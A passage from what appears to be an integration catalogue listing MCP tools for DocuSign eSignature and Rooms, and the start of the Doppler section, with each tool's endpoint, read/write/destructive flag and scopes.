Removes removes signature information for the specified user. POST /api/v1/tools/docusign/esignature-user-signatures-delete-user-signature. Scopes: signature. docusign_esignature_user_signatures_delete_user_signature_image (write, destructive) — DESTRUCTIVE - Deletes the user initials image or the user signature image for the specified user. POST /api/v1/tools/docusign/esignature-user-signatures-delete-user-signature-image. Scopes: signature. docusign_esignature_user_signatures_get_user_signature (read) — Gets the user signature information for the specified user. GET /api/v1/tools/docusign/esignature-user-signatures-get-user-signature. Scopes: signature. docusign_esignature_user_signatures_get_user_signature_image (read) — Retrieves the user initials image or the user signature image for the specified user. GET /api/v1/tools/docusign/esignature-user-signatures-get-user-signature-image. Scopes: signature. docusign_esignature_user_signatures_get_user_signatures (read) — Retrieves a list of signature definitions for a user. GET /api/v1/tools/docusign/esignature-user-signatures-get-user-signatures. Scopes: signature. docusign_esignature_user_signatures_post_user_signatures (write) — Adds user Signature and initials images to a Signature. POST /api/v1/tools/docusign/esignature-user-signatures-post-user-signatures. Scopes: signature. docusign_esignature_user_signatures_put_user_signature (write) — Adds/updates a user signature. PUT /restapi/v2.1/accounts/{accountId}/users/{userId}/signatures on DocuSign. Requires account_id, user_id. POST /api/v1/tools/docusign/esignature-user-signatures-put-user-signature. Scopes: signature. docusign_esignature_user_signatures_put_user_signature_by_id (write) — Updates the user signature for a specified user. POST /api/v1/tools/docusign/esignature-user-signatures-put-user-signature-by-id. Scopes: signature. docusign_esignature_user_signatures_put_user_signature_image (write) — Updates the user signature image or user initials image for the specified user. POST /api/v1/tools/docusign/esignature-user-signatures-put-user-signature-image. Scopes: signature. docusign_esignature_users_delete_users (write, destructive) — DESTRUCTIVE - Closes one or more users in the account. POST /api/v1/tools/docusign/esignature-users-delete-users. Scopes: signature. docusign_esignature_users_get_users (read) — Retrieves the list of users for the specified account. You can filter the users list to get specific users. GET /api/v1/tools/docusign/esignature-users-get-users. Scopes: signature. docusign_esignature_users_post_users (write) — Adds new users to the specified account. POST /api/v1/tools/docusign/esignature-users-post-users. Scopes: signature. docusign_esignature_users_put_users (write) — Changes one or more users in the specified account. POST /api/v1/tools/docusign/esignature-users-put-users. Scopes: signature. docusign_esignature_views_delete_envelope_correct_view (write, destructive) — DESTRUCTIVE - Revokes the correction view URL to the Envelope UI. POST /api/v1/tools/docusign/esignature-views-delete-envelope-correct-view. Scopes: signature. docusign_esignature_views_post_account_console_view (write) — Returns a URL to the Docusign eSignature web application. POST /api/v1/tools/docusign/esignature-views-post-account-console-view. Scopes: signature. docusign_esignature_views_post_envelope_correct_view (write) — Returns a URL to the envelope correction UI. Use after an envelope has been sent. POST /api/v1/tools/docusign/esignature-views-post-envelope-correct-view. Scopes: signature. docusign_esignature_views_post_envelope_edit_view (write) — Returns a URL to the edit view UI. Use before an envelope has been sent. POST /api/v1/tools/docusign/esignature-views-post-envelope-edit-view. Scopes: signature. docusign_esignature_views_post_envelope_recipient_preview (write) — Creates an envelope recipient preview. POST /restapi/v2.1/accounts/{accountId}/envelopes/{envelopeId}/views/recipient_preview on DocuSign. Requires account_id, envelope_id. POST /api/v1/tools/docusign/esignature-views-post-envelope-recipient-preview. Scopes: signature. docusign_esignature_views_post_envelope_recipient_shared_view (write) — Returns a URL to the shared recipient view UI for an envelope. POST /api/v1/tools/docusign/esignature-views-post-envelope-recipient-shared-view. Scopes: signature. docusign_esignature_views_post_envelope_recipient_view (write) — Returns a URL to the recipient view UI. For signer recipients, returns the embedded signing view. Can also be used for other recipient types. POST /api/v1/tools/docusign/esignature-views-post-envelope-recipient-view. Scopes: signature. docusign_esignature_views_post_envelope_sender_view (write) — Returns a URL to the sender view UI. Used before an envelope has been sent. POST /api/v1/tools/docusign/esignature-views-post-envelope-sender-view. Scopes: signature. docusign_esignature_views_post_recipient_manual_review_view (write) — Create the link to the page for manually reviewing IDs. POST /api/v1/tools/docusign/esignature-views-post-recipient-manual-review-view. Scopes: signature. docusign_esignature_views_post_template_edit_view (write) — Gets a URL for a template edit view. POST /restapi/v2.1/accounts/{accountId}/templates/{templateId}/views/edit on DocuSign. Requires account_id, template_id. POST /api/v1/tools/docusign/esignature-views-post-template-edit-view. Scopes: signature. docusign_esignature_views_post_template_recipient_preview (write) — Creates a template recipient preview. POST /restapi/v2.1/accounts/{accountId}/templates/{templateId}/views/recipient_preview on DocuSign. Requires account_id, template_id. POST /api/v1/tools/docusign/esignature-views-post-template-recipient-preview. Scopes: signature. docusign_esignature_watermark_get_watermark (read) — Get watermark information. GET /restapi/v2.1/accounts/{accountId}/watermark on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-watermark-get-watermark. Scopes: signature. docusign_esignature_watermark_preview_put_watermark_preview (write) — Get watermark preview. PUT /restapi/v2.1/accounts/{accountId}/watermark/preview on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-watermark-preview-put-watermark-preview. Scopes: signature. docusign_esignature_watermark_put_watermark (write) — Update watermark information. PUT /restapi/v2.1/accounts/{accountId}/watermark on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-watermark-put-watermark. Scopes: signature. docusign_esignature_workspace_delete_workspace (write, destructive) — DESTRUCTIVE — Delete Workspace. DELETE /restapi/v2.1/accounts/{accountId}/workspaces/{workspaceId} on DocuSign. Requires account_id, workspace_id. POST /api/v1/tools/docusign/esignature-workspace-delete-workspace. Scopes: signature. docusign_esignature_workspace_file_get_workspace_file (read) — Gets a workspace file. GET /restapi/v2.1/accounts/{accountId}/workspaces/{workspaceId}/folders/{folderId}/files/{fileId} on DocuSign. Requires account_id, file_id, folder_id, workspace_id. GET /api/v1/tools/docusign/esignature-workspace-file-get-workspace-file. Scopes: signature. docusign_esignature_workspace_file_pages_get_workspace_file_pages (read) — List File Pages. GET /restapi/v2.1/accounts/{accountId}/workspaces/{workspaceId}/folders/{folderId}/files/{fileId}/pages on DocuSign. Requires account_id, file_id, folder_id, workspace_id. GET /api/v1/tools/docusign/esignature-workspace-file-pages-get-workspace-file-pages. Scopes: signature. docusign_esignature_workspace_file_post_workspace_files (write) — Creates a workspace file. POST /restapi/v2.1/accounts/{accountId}/workspaces/{workspaceId}/folders/{folderId}/files on DocuSign. Requires account_id, folder_id, workspace_id. POST /api/v1/tools/docusign/esignature-workspace-file-post-workspace-files. Scopes: signature. docusign_esignature_workspace_file_put_workspace_file (write) — Update workspace file or folder metadata POST /api/v1/tools/docusign/esignature-workspace-file-put-workspace-file. Scopes: signature. docusign_esignature_workspace_folder_delete_workspace_items (write, destructive) — DESTRUCTIVE - Deletes files or sub-folders from a workspace. POST /api/v1/tools/docusign/esignature-workspace-folder-delete-workspace-items. Scopes: signature. docusign_esignature_workspace_folder_get_workspace_folder (read) — List workspace folder contents. GET /restapi/v2.1/accounts/{accountId}/workspaces/{workspaceId}/folders/{folderId} on DocuSign. Requires account_id, folder_id, workspace_id. GET /api/v1/tools/docusign/esignature-workspace-folder-get-workspace-folder. Scopes: signature. docusign_esignature_workspace_get_workspace (read) — Get Workspace. GET /restapi/v2.1/accounts/{accountId}/workspaces/{workspaceId} on DocuSign. Requires account_id, workspace_id. GET /api/v1/tools/docusign/esignature-workspace-get-workspace. Scopes: signature. docusign_esignature_workspace_get_workspaces (read) — List Workspaces. GET /restapi/v2.1/accounts/{accountId}/workspaces on DocuSign. Requires account_id. GET /api/v1/tools/docusign/esignature-workspace-get-workspaces. Scopes: signature. docusign_esignature_workspace_post_workspace (write) — Create a Workspace. POST /restapi/v2.1/accounts/{accountId}/workspaces on DocuSign. Requires account_id. POST /api/v1/tools/docusign/esignature-workspace-post-workspace. Scopes: signature. docusign_esignature_workspace_put_workspace (write) — Update Workspace. PUT /restapi/v2.1/accounts/{accountId}/workspaces/{workspaceId} on DocuSign. Requires account_id, workspace_id. POST /api/v1/tools/docusign/esignature-workspace-put-workspace. Scopes: signature. docusign_monitor_api_version_datasets_by_data_set_name_stream_get (read) — Gets customer event data for an organization. GET /api/v1/tools/docusign/monitor-api-version-datasets-by-data-set-name-stream-get. Scopes: signature. docusign_rooms_accounts_get_account_information (read) — Gets account information. GET /restapi/v2/accounts/{accountId} on DocuSign. Requires account_id. GET /api/v1/tools/docusign/rooms-accounts-get-account-information. Scopes: dtr.company.read. docusign_rooms_closing_statuses_get_closing_statuses (read) — Gets closing statuses. GET /restapi/v2/closing_statuses on DocuSign. GET /api/v1/tools/docusign/rooms-closing-statuses-get-closing-statuses. Scopes: dtr.company.read. docusign_rooms_contact_sides_get_contact_sides (read) — Gets contact sides. GET /restapi/v2/contact_sides on DocuSign. GET /api/v1/tools/docusign/rooms-contact-sides-get-contact-sides. Scopes: dtr.company.read. docusign_rooms_countries_get_countries (read) — Gets countries. GET /restapi/v2/countries on DocuSign. GET /api/v1/tools/docusign/rooms-countries-get-countries. Scopes: dtr.company.read. docusign_rooms_currencies_get_currencies (read) — Gets valid currencies. GET /restapi/v2/currencies on DocuSign. GET /api/v1/tools/docusign/rooms-currencies-get-currencies. Scopes: dtr.company.read. docusign_rooms_documents_create_document_user (write) — Grants a user access to a document. POST /restapi/v2/accounts/{accountId}/documents/{documentId}/users on DocuSign. Requires document_id, account_id, user_id. POST /api/v1/tools/docusign/rooms-documents-create-document-user. Scopes: dtr.company.read. docusign_rooms_documents_delete_document (write, destructive) — DESTRUCTIVE - Deletes a specified document. POST /api/v1/tools/docusign/rooms-documents-delete-document. Scopes: dtr.company.read. docusign_rooms_documents_get_document (read) — Gets information about or the contents of a document. GET /api/v1/tools/docusign/rooms-documents-get-document. Scopes: dtr.company.read. docusign_rooms_e_sign_permission_profiles_get_e_sign_permission_profiles (read) — Gets eSignature Permission Profiles. GET /restapi/v2/accounts/{accountId}/esign_permission_profiles on DocuSign. Requires account_id. GET /api/v1/tools/docusign/rooms-e-sign-permission-profiles-get-e-sign-permission-profiles. Scopes: dtr.company.read. docusign_rooms_external_form_fill_sessions_create_external_form_fill_session (write) — Creates an external form fill session. POST /restapi/v2/accounts/{accountId}/external_form_fill_sessions on DocuSign. Requires account_id, room_id. POST /api/v1/tools/docusign/rooms-external-form-fill-sessions-create-external-form-fill-session. Scopes: dtr.company.read. docusign_rooms_fields_get_field_set (read) — Gets a field set. GET /restapi/v2/accounts/{accountId}/field_sets/{fieldSetId} on DocuSign. Requires field_set_id, account_id. GET /api/v1/tools/docusign/rooms-fields-get-field-set. Scopes: dtr.company.read. docusign_rooms_financing_types_get_financing_types (read) — Gets financing types. GET /restapi/v2/financing_types on DocuSign. GET /api/v1/tools/docusign/rooms-financing-types-get-financing-types. Scopes: dtr.company.read. docusign_rooms_form_details_get_form_details (read) — Gets form details. GET /restapi/v2/accounts/{accountId}/forms/{formId}/details on DocuSign. Requires form_id, account_id. GET /api/v1/tools/docusign/rooms-form-details-get-form-details. Scopes: dtr.company.read. docusign_rooms_form_group_forms_get_form_group_forms (read) — Gets the user's form group forms. GET /restapi/v2/accounts/{accountId}/form_groups/{formGroupId}/forms on DocuSign. Requires form_group_id, account_id. GET /api/v1/tools/docusign/rooms-form-group-forms-get-form-group-forms. Scopes: dtr.company.read. docusign_rooms_form_groups_assign_form_group_form (write) — Assigns a form to a form group. POST /restapi/v2/accounts/{accountId}/form_groups/{formGroupId}/assign_form on DocuSign. Requires form_group_id, account_id, form_id. POST /api/v1/tools/docusign/rooms-form-groups-assign-form-group-form. Scopes: dtr.company.read. docusign_rooms_form_groups_create_form_group (write) — Creates a form group. POST /restapi/v2/accounts/{accountId}/form_groups on DocuSign. Requires account_id, name. POST /api/v1/tools/docusign/rooms-form-groups-create-form-group. Scopes: dtr.company.read. docusign_rooms_form_groups_delete_form_group (write, destructive) — DESTRUCTIVE — Deletes a form group. DELETE /restapi/v2/accounts/{accountId}/form_groups/{formGroupId} on DocuSign. Requires form_group_id, account_id. POST /api/v1/tools/docusign/rooms-form-groups-delete-form-group. Scopes: dtr.company.read. docusign_rooms_form_groups_get_form_group (read) — Gets a form group. GET /restapi/v2/accounts/{accountId}/form_groups/{formGroupId} on DocuSign. Requires form_group_id, account_id. GET /api/v1/tools/docusign/rooms-form-groups-get-form-group. Scopes: dtr.company.read. docusign_rooms_form_groups_get_form_groups (read) — Gets form groups. GET /restapi/v2/accounts/{accountId}/form_groups on DocuSign. Requires account_id. GET /api/v1/tools/docusign/rooms-form-groups-get-form-groups. Scopes: dtr.company.read. docusign_rooms_form_groups_grant_office_access_to_form_group (write) — Grants an office access to a form group. POST /api/v1/tools/docusign/rooms-form-groups-grant-office-access-to-form-group. Scopes: dtr.company.read. docusign_rooms_form_groups_remove_form_group_form (write, destructive) — DESTRUCTIVE - Removes a form from a form group. POST /api/v1/tools/docusign/rooms-form-groups-remove-form-group-form. Scopes: dtr.company.read. docusign_rooms_form_groups_rename_form_group (write) — Renames a form group. PUT /restapi/v2/accounts/{accountId}/form_groups/{formGroupId} on DocuSign. Requires form_group_id, account_id, name. POST /api/v1/tools/docusign/rooms-form-groups-rename-form-group. Scopes: dtr.company.read. docusign_rooms_form_groups_revoke_office_access_from_form_group (write, destructive) — DESTRUCTIVE - Revoke an office's access to a form group. POST /api/v1/tools/docusign/rooms-form-groups-revoke-office-access-from-form-group. Scopes: dtr.company.read. docusign_rooms_form_libraries_get_form_libraries (read) — Gets form libraries. GET /restapi/v2/accounts/{accountId}/form_libraries on DocuSign. Requires account_id. GET /api/v1/tools/docusign/rooms-form-libraries-get-form-libraries. Scopes: dtr.company.read. docusign_rooms_form_libraries_get_form_library_forms (read) — Gets the forms in a form library. GET /restapi/v2/accounts/{accountId}/form_libraries/{formLibraryId}/forms on DocuSign. Requires form_library_id, account_id. GET /api/v1/tools/docusign/rooms-form-libraries-get-form-library-forms. Scopes: dtr.company.read. docusign_rooms_form_provider_associations_get_form_provider_associations (read) — Gets all associations by provider. GET /restapi/v2/accounts/{accountId}/form_providers/{providerId}/associations on DocuSign. Requires provider_id, account_id. GET /api/v1/tools/docusign/rooms-form-provider-associations-get-form-provider-associations. Scopes: dtr.company.read. docusign_rooms_offices_create_office (write) — Creates an office. POST /restapi/v2/accounts/{accountId}/offices on DocuSign. Requires account_id, name. POST /api/v1/tools/docusign/rooms-offices-create-office. Scopes: dtr.company.read. docusign_rooms_offices_delete_office (write, destructive) — DESTRUCTIVE — Deletes an office. DELETE /restapi/v2/accounts/{accountId}/offices/{officeId} on DocuSign. Requires office_id, account_id. POST /api/v1/tools/docusign/rooms-offices-delete-office. Scopes: dtr.company.read. docusign_rooms_offices_get_office (read) — Gets information about an office. GET /restapi/v2/accounts/{accountId}/offices/{officeId} on DocuSign. Requires office_id, account_id. GET /api/v1/tools/docusign/rooms-offices-get-office. Scopes: dtr.company.read. docusign_rooms_offices_get_offices (read) — Gets offices. GET /restapi/v2/accounts/{accountId}/offices on DocuSign. Requires account_id. GET /api/v1/tools/docusign/rooms-offices-get-offices. Scopes: dtr.company.read. docusign_rooms_offices_get_reference_counts (read) — Retrieves the number and type of objects that reference an office. GET /api/v1/tools/docusign/rooms-offices-get-reference-counts. Scopes: dtr.company.read. docusign_rooms_origins_of_leads_get_origins_of_leads (read) — Gets origins of leads. GET /restapi/v2/origins_of_leads on DocuSign. GET /api/v1/tools/docusign/rooms-origins-of-leads-get-origins-of-leads. Scopes: dtr.company.read. docusign_rooms_property_types_get_property_types (read) — Gets property types. GET /restapi/v2/property_types on DocuSign. GET /api/v1/tools/docusign/rooms-property-types-get-property-types. Scopes: dtr.company.read. docusign_rooms_regions_create_region (write) — Creates a region. POST /restapi/v2/accounts/{accountId}/regions on DocuSign. Requires account_id, name. POST /api/v1/tools/docusign/rooms-regions-create-region. Scopes: dtr.company.read. docusign_rooms_regions_delete_region (write, destructive) — DESTRUCTIVE — Deletes a region. DELETE /restapi/v2/accounts/{accountId}/regions/{regionId} on DocuSign. Requires region_id, account_id. POST /api/v1/tools/docusign/rooms-regions-delete-region. Scopes: dtr.company.read. docusign_rooms_regions_get_region (read) — Gets information about a region. GET /restapi/v2/accounts/{accountId}/regions/{regionId} on DocuSign. Requires region_id, account_id. GET /api/v1/tools/docusign/rooms-regions-get-region. Scopes: dtr.company.read. docusign_rooms_regions_get_region_reference_counts (read) — Retrieves the number and type of objects that reference a region. GET /api/v1/tools/docusign/rooms-regions-get-region-reference-counts. Scopes: dtr.company.read. docusign_rooms_regions_get_regions (read) — Gets regions. GET /restapi/v2/accounts/{accountId}/regions on DocuSign. Requires account_id. GET /api/v1/tools/docusign/rooms-regions-get-regions. Scopes: dtr.company.read. docusign_rooms_roles_create_role (write) — Creates a role. POST /restapi/v2/accounts/{accountId}/roles on DocuSign. Requires account_id. POST /api/v1/tools/docusign/rooms-roles-create-role. Scopes: dtr.company.read. docusign_rooms_roles_delete_role (write, destructive) — DESTRUCTIVE — Deletes a role. DELETE /restapi/v2/accounts/{accountId}/roles/{roleId} on DocuSign. Requires role_id, account_id. POST /api/v1/tools/docusign/rooms-roles-delete-role. Scopes: dtr.company.read. docusign_rooms_roles_get_role (read) — Gets a role. GET /restapi/v2/accounts/{accountId}/roles/{roleId} on DocuSign. Requires role_id, account_id. GET /api/v1/tools/docusign/rooms-roles-get-role. Scopes: dtr.company.read. docusign_rooms_roles_get_roles (read) — Gets roles. GET /restapi/v2/accounts/{accountId}/roles on DocuSign. Requires account_id. GET /api/v1/tools/docusign/rooms-roles-get-roles. Scopes: dtr.company.read. docusign_rooms_roles_update_role (write) — Updates a role. PUT /restapi/v2/accounts/{accountId}/roles/{roleId} on DocuSign. Requires role_id, account_id. POST /api/v1/tools/docusign/rooms-roles-update-role. Scopes: dtr.company.read. docusign_rooms_room_contact_types_get_room_contact_types (read) — Gets room contact types. GET /restapi/v2/room_contact_types on DocuSign. GET /api/v1/tools/docusign/rooms-room-contact-types-get-room-contact-types. Scopes: dtr.company.read. docusign_rooms_room_envelopes_create_room_envelope (write) — Creates an envelope with the given documents. Returns the eSignature envelope ID of the envelope that was created. POST /api/v1/tools/docusign/rooms-room-envelopes-create-room-envelope. Scopes: dtr.company.read. docusign_rooms_room_folders_get_room_folders (read) — Gets a list of room folders accessible to the current user. GET /api/v1/tools/docusign/rooms-room-folders-get-room-folders. Scopes: dtr.company.read. docusign_rooms_room_templates_get_room_templates (read) — Gets room templates. GET /restapi/v2/accounts/{accountId}/room_templates on DocuSign. Requires account_id. GET /api/v1/tools/docusign/rooms-room-templates-get-room-templates. Scopes: dtr.company.read. docusign_rooms_rooms_add_document_to_room (write) — Adds a document to a room. POST /restapi/v2/accounts/{accountId}/rooms/{roomId}/documents on DocuSign. Requires room_id, account_id, name, base64_contents. POST /api/v1/tools/docusign/rooms-rooms-add-document-to-room. Scopes: dtr.company.read. docusign_rooms_rooms_add_document_to_room_via_file_upload (write) — Uploads the contents of a file as a document to a room. POST /api/v1/tools/docusign/rooms-rooms-add-document-to-room-via-file-upload. Scopes: dtr.company.read. docusign_rooms_rooms_add_form_to_room (write) — Adds a form to a room. POST /restapi/v2/accounts/{accountId}/rooms/{roomId}/forms on DocuSign. Requires room_id, account_id, form_id. POST /api/v1/tools/docusign/rooms-rooms-add-form-to-room. Scopes: dtr.company.read. docusign_rooms_rooms_create_room (write) — Creates a room. POST /restapi/v2/accounts/{accountId}/rooms on DocuSign. Requires account_id, name, role_id. POST /api/v1/tools/docusign/rooms-rooms-create-room. Scopes: dtr.company.read. docusign_rooms_rooms_delete_room (write, destructive) — DESTRUCTIVE — Deletes a room. DELETE /restapi/v2/accounts/{accountId}/rooms/{roomId} on DocuSign. Requires room_id, account_id. POST /api/v1/tools/docusign/rooms-rooms-delete-room. Scopes: dtr.company.read. docusign_rooms_rooms_get_assignable_roles (read) — Gets assignable room-level roles in v6. GET /restapi/v2/accounts/{accountId}/rooms/{roomId}/assignable_roles on DocuSign. Requires room_id, account_id. GET /api/v1/tools/docusign/rooms-rooms-get-assignable-roles. Scopes: dtr.company.read. docusign_rooms_rooms_get_documents (read) — Gets a list of documents in a room. GET /restapi/v2/accounts/{accountId}/rooms/{roomId}/documents on DocuSign. Requires room_id, account_id. GET /api/v1/tools/docusign/rooms-rooms-get-documents. Scopes: dtr.company.read. docusign_rooms_rooms_get_room (read) — Gets a room. GET /restapi/v2/accounts/{accountId}/rooms/{roomId} on DocuSign. Requires room_id, account_id. GET /api/v1/tools/docusign/rooms-rooms-get-room. Scopes: dtr.company.read. docusign_rooms_rooms_get_room_field_data (read) — Gets a room's field data. GET /restapi/v2/accounts/{accountId}/rooms/{roomId}/field_data on DocuSign. Requires room_id, account_id. GET /api/v1/tools/docusign/rooms-rooms-get-room-field-data. Scopes: dtr.company.read. docusign_rooms_rooms_get_room_field_set (read) — Gets the field set for a room. GET /restapi/v2/accounts/{accountId}/rooms/{roomId}/field_set on DocuSign. Requires room_id, account_id. GET /api/v1/tools/docusign/rooms-rooms-get-room-field-set. Scopes: dtr.company.read. docusign_rooms_rooms_get_room_users (read) — Gets a room's users. GET /restapi/v2/accounts/{accountId}/rooms/{roomId}/users on DocuSign. Requires room_id, account_id. GET /api/v1/tools/docusign/rooms-rooms-get-room-users. Scopes: dtr.company.read. docusign_rooms_rooms_get_rooms (read) — Returns a list of rooms. GET /restapi/v2/accounts/{accountId}/rooms on DocuSign. Requires account_id. GET /api/v1/tools/docusign/rooms-rooms-get-rooms. Scopes: dtr.company.read. docusign_rooms_rooms_invite_user (write) — Invites a user to a room. POST /restapi/v2/accounts/{accountId}/rooms/{roomId}/users on DocuSign. Requires room_id, account_id, email, first_name, last_name, role_id. POST /api/v1/tools/docusign/rooms-rooms-invite-user. Scopes: dtr.company.read. docusign_rooms_rooms_put_room_user (write) — Updates a room user. PUT /restapi/v2/accounts/{accountId}/rooms/{roomId}/users/{userId} on DocuSign. Requires room_id, user_id, account_id. POST /api/v1/tools/docusign/rooms-rooms-put-room-user. Scopes: dtr.company.read. docusign_rooms_rooms_restore_room_user_access (write) — Restores the specified user's access to the room. POST /api/v1/tools/docusign/rooms-rooms-restore-room-user-access. Scopes: dtr.company.read. docusign_rooms_rooms_revoke_room_user_access (write, destructive) — DESTRUCTIVE - Revokes the specified user's access to the room. POST /api/v1/tools/docusign/rooms-rooms-revoke-room-user-access. Scopes: dtr.company.read. docusign_rooms_rooms_update_picture (write) — Updates the picture for a room. PUT /restapi/v2/accounts/{accountId}/rooms/{roomId}/picture on DocuSign. Requires room_id, account_id. POST /api/v1/tools/docusign/rooms-rooms-update-picture. Scopes: dtr.company.read. docusign_rooms_rooms_update_room_field_data (write) — Updates a room's field data. PUT /restapi/v2/accounts/{accountId}/rooms/{roomId}/field_data on DocuSign. Requires room_id, account_id. POST /api/v1/tools/docusign/rooms-rooms-update-room-field-data. Scopes: dtr.company.read. docusign_rooms_seller_decision_types_get_seller_decision_types (read) — Gets seller decision types. GET /restapi/v2/seller_decision_types on DocuSign. GET /api/v1/tools/docusign/rooms-seller-decision-types-get-seller-decision-types. Scopes: dtr.company.read. docusign_rooms_special_circumstance_types_get_special_circumstance_types (read) — Gets special circumstance types. GET /restapi/v2/special_circumstance_types on DocuSign. GET /api/v1/tools/docusign/rooms-special-circumstance-types-get-special-circumstance-types. Scopes: dtr.company.read. docusign_rooms_states_get_states (read) — Gets states. GET /restapi/v2/states on DocuSign. GET /api/v1/tools/docusign/rooms-states-get-states. Scopes: dtr.company.read. docusign_rooms_task_date_types_get_task_date_types (read) — Gets task date types. GET /restapi/v2/task_date_types on DocuSign. GET /api/v1/tools/docusign/rooms-task-date-types-get-task-date-types. Scopes: dtr.company.read. docusign_rooms_task_list_templates_get_task_list_templates (read) — Gets task list templates. GET /restapi/v2/accounts/{accountId}/task_list_templates on DocuSign. Requires account_id. GET /api/v1/tools/docusign/rooms-task-list-templates-get-task-list-templates. Scopes: dtr.company.read. docusign_rooms_task_lists_create_task_list (write) — Applies a task list to a room. POST /restapi/v2/accounts/{accountId}/rooms/{roomId}/task_lists on DocuSign. Requires room_id, account_id. POST /api/v1/tools/docusign/rooms-task-lists-create-task-list. Scopes: dtr.company.read. docusign_rooms_task_lists_delete_task_list (write, destructive) — DESTRUCTIVE - Deletes a task list from a room. POST /api/v1/tools/docusign/rooms-task-lists-delete-task-list. Scopes: dtr.company.read. docusign_rooms_task_lists_get_task_lists (read) — Gets task lists for a room. GET /restapi/v2/accounts/{accountId}/rooms/{roomId}/task_lists on DocuSign. Requires room_id, account_id. GET /api/v1/tools/docusign/rooms-task-lists-get-task-lists. Scopes: dtr.company.read. docusign_rooms_task_responsibility_types_get_task_responsibility_types (read) — Gets task responsibility types. GET /restapi/v2/task_responsibility_types on DocuSign. GET /api/v1/tools/docusign/rooms-task-responsibility-types-get-task-responsibility-types. Scopes: dtr.company.read. docusign_rooms_task_statuses_get_task_statuses (read) — Retrieves the list of valid task statuses. GET /api/v1/tools/docusign/rooms-task-statuses-get-task-statuses. Scopes: dtr.company.read. docusign_rooms_time_zones_get_time_zones (read) — Gets time zones. GET /restapi/v2/time_zones on DocuSign. GET /api/v1/tools/docusign/rooms-time-zones-get-time-zones. Scopes: dtr.company.read. docusign_rooms_transaction_sides_get_transaction_sides (read) — Gets transaction sides. GET /restapi/v2/transaction_sides on DocuSign. GET /api/v1/tools/docusign/rooms-transaction-sides-get-transaction-sides. Scopes: dtr.company.read. docusign_rooms_users_add_user_to_office (write) — Adds a user to an office. POST /restapi/v2/accounts/{accountId}/users/{userId}/add_to_office on DocuSign. Requires user_id, account_id, office_id. POST /api/v1/tools/docusign/rooms-users-add-user-to-office. Scopes: dtr.company.read. docusign_rooms_users_add_user_to_region (write) — Adds a user to a region. POST /restapi/v2/accounts/{accountId}/users/{userId}/add_to_region on DocuSign. Requires user_id, account_id, region_id. POST /api/v1/tools/docusign/rooms-users-add-user-to-region. Scopes: dtr.company.read. docusign_rooms_users_get_user (read) — Gets a user. GET /restapi/v2/accounts/{accountId}/users/{userId} on DocuSign. Requires user_id, account_id. GET /api/v1/tools/docusign/rooms-users-get-user. Scopes: dtr.company.read. docusign_rooms_users_get_users (read) — Gets a list of users. GET /restapi/v2/accounts/{accountId}/users on DocuSign. Requires account_id. GET /api/v1/tools/docusign/rooms-users-get-users. Scopes: dtr.company.read. docusign_rooms_users_invite_user (write) — Invites a user to a company account. POST /restapi/v2/accounts/{accountId}/users/invite_user on DocuSign. Requires account_id, first_name, last_name, email, role_id, access_level, default_office_id, e_sign_permission_profile_id. POST /api/v1/tools/docusign/rooms-users-invite-user. Scopes: dtr.company.read. docusign_rooms_users_lock_user (write) — Locks a user's account. POST /restapi/v2/accounts/{accountId}/users/{userId}/lock on DocuSign. Requires user_id, account_id, reason. POST /api/v1/tools/docusign/rooms-users-lock-user. Scopes: dtr.company.read. docusign_rooms_users_reinvite_user (write) — Reinvites a user to join a company account. POST /api/v1/tools/docusign/rooms-users-reinvite-user. Scopes: dtr.company.read. docusign_rooms_users_remove_user (write, destructive) — DESTRUCTIVE - Removes a user from a company account. POST /api/v1/tools/docusign/rooms-users-remove-user. Scopes: dtr.company.read. docusign_rooms_users_remove_user_from_office (write, destructive) — DESTRUCTIVE - Removes a user from an office. POST /api/v1/tools/docusign/rooms-users-remove-user-from-office. Scopes: dtr.company.read. docusign_rooms_users_remove_user_from_region (write, destructive) — DESTRUCTIVE - Removes a user from a region. POST /api/v1/tools/docusign/rooms-users-remove-user-from-region. Scopes: dtr.company.read. docusign_rooms_users_unlock_user (write) — Unlocks a user's account. POST /restapi/v2/accounts/{accountId}/users/{userId}/unlock on DocuSign. Requires user_id, account_id. POST /api/v1/tools/docusign/rooms-users-unlock-user. Scopes: dtr.company.read. docusign_rooms_users_update_user (write) — Updates a user's default office. PUT /restapi/v2/accounts/{accountId}/users/{userId} on DocuSign. Requires user_id, account_id, default_office_id. POST /api/v1/tools/docusign/rooms-users-update-user. Scopes: dtr.company.read. ================================================================================ ## Doppler URL: https://www.agenticfabriq.com/integrations/doppler Section: Integrated Tools Doppler — 125 MCP tools Provider key: doppler. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. doppler_delete_v3_configs_config (write, destructive) — Permanently delete the config. via DELETE /v3/configs/config DELETE /api/v1/doppler/v3/configs/config. Scopes: api. doppler_delete_v3_configs_config_dynamic_secrets_dynamic_secret_leases_lease (write, destructive) — Revoke Lease via DELETE /v3/configs/config/dynamic_secrets/dynamic_secret/leases/lease DELETE /api/v1/doppler/v3/configs/config/dynamic_secrets/dynamic_secret/leases/lease. Scopes: api. doppler_delete_v3_configs_config_secret (write, destructive) — Secret via DELETE /v3/configs/config/secret DELETE /api/v1/doppler/v3/configs/config/secret. Scopes: api. doppler_delete_v3_configs_config_syncs_sync (write, destructive) — Delete an existing sync. via DELETE /v3/configs/config/syncs/sync DELETE /api/v1/doppler/v3/configs/config/syncs/sync. Scopes: api. doppler_delete_v3_configs_config_tokens_token (write, destructive) — Service Token via DELETE /v3/configs/config/tokens/token DELETE /api/v1/doppler/v3/configs/config/tokens/token. Scopes: api. doppler_delete_v3_configs_config_trusted_ips (write, destructive) — Delete via DELETE /v3/configs/config/trusted_ips DELETE /api/v1/doppler/v3/configs/config/trusted_ips. Scopes: api. doppler_delete_v3_environments_environment (write, destructive) — Environment via DELETE /v3/environments/environment DELETE /api/v1/doppler/v3/environments/environment. Scopes: api. doppler_delete_v3_integrations_integration (write, destructive) — Delete an existing integration. via DELETE /v3/integrations/integration DELETE /api/v1/doppler/v3/integrations/integration. Scopes: api. doppler_delete_v3_projects_project (write, destructive) — Project via DELETE /v3/projects/project DELETE 